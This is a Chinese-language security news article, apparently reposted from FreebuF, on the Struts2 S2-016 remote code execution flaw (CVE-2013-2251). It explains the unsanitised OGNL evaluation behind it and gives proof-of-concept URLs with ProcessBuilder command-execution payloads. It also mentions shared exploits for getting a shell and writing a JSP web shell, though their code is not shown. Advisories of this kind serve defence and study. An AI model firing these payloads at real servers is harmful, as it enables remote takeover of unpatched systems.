Struts2最新远程代码执行漏洞(S2-016)描述

安全 漏洞
Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。

描述

影响版本 Struts 2.0.0 - Struts 2.3.15

报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.

CVE编号 CVE-2013-2251

漏洞证明

参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+
java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25
{(new+java.lang.ProcessBuilder(new+java.lang.String[]
{'command','goes','here'})).start()}

漏洞原理

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

以下仅供教学研究之用,严禁非法用途!

执行任意命令EXP,感谢X提供:

Struts2再爆远程代码执行漏洞(S2-016)

爆网站路径EXP,感谢h4ck0r提供:

Struts2再爆远程代码执行漏洞(S2-016)  

python执行任意命令,感谢h4ck0r提供

Struts2再爆远程代码执行漏洞(S2-016) 

GETSHELL EXP,感谢coffee提供:

Struts2再爆远程代码执行漏洞(S2-016) 

然后用以下代码写shell:

Struts2再爆远程代码执行漏洞(S2-016)

上前目录生成1.jsp

责任编辑:蓝雨泪 来源: FreebuF
相关推荐

2013-05-22 10:28:19

2016-04-29 10:58:13

2013-07-18 15:09:27

2017-03-08 22:23:02

2012-12-18 16:18:06

2023-12-14 16:20:09

2017-07-11 09:42:22

漏洞

2016-03-16 15:34:32

2013-07-19 09:36:04

struts2struts2漏洞

2013-07-22 10:45:56

2016-06-08 10:09:24

2016-03-22 12:37:45

Struts2Struts2漏洞漏洞检测

2013-07-24 10:35:02

2009-07-29 09:54:34

struts2和str

2017-09-12 07:54:32

2009-06-25 15:11:28

Struts2教程Struts2程序

2013-07-18 15:57:42

2017-07-14 13:51:19

2009-02-04 10:51:07

2017-03-07 10:34:40

Struts2Struts2漏洞
点赞
收藏

51CTO技术栈公众号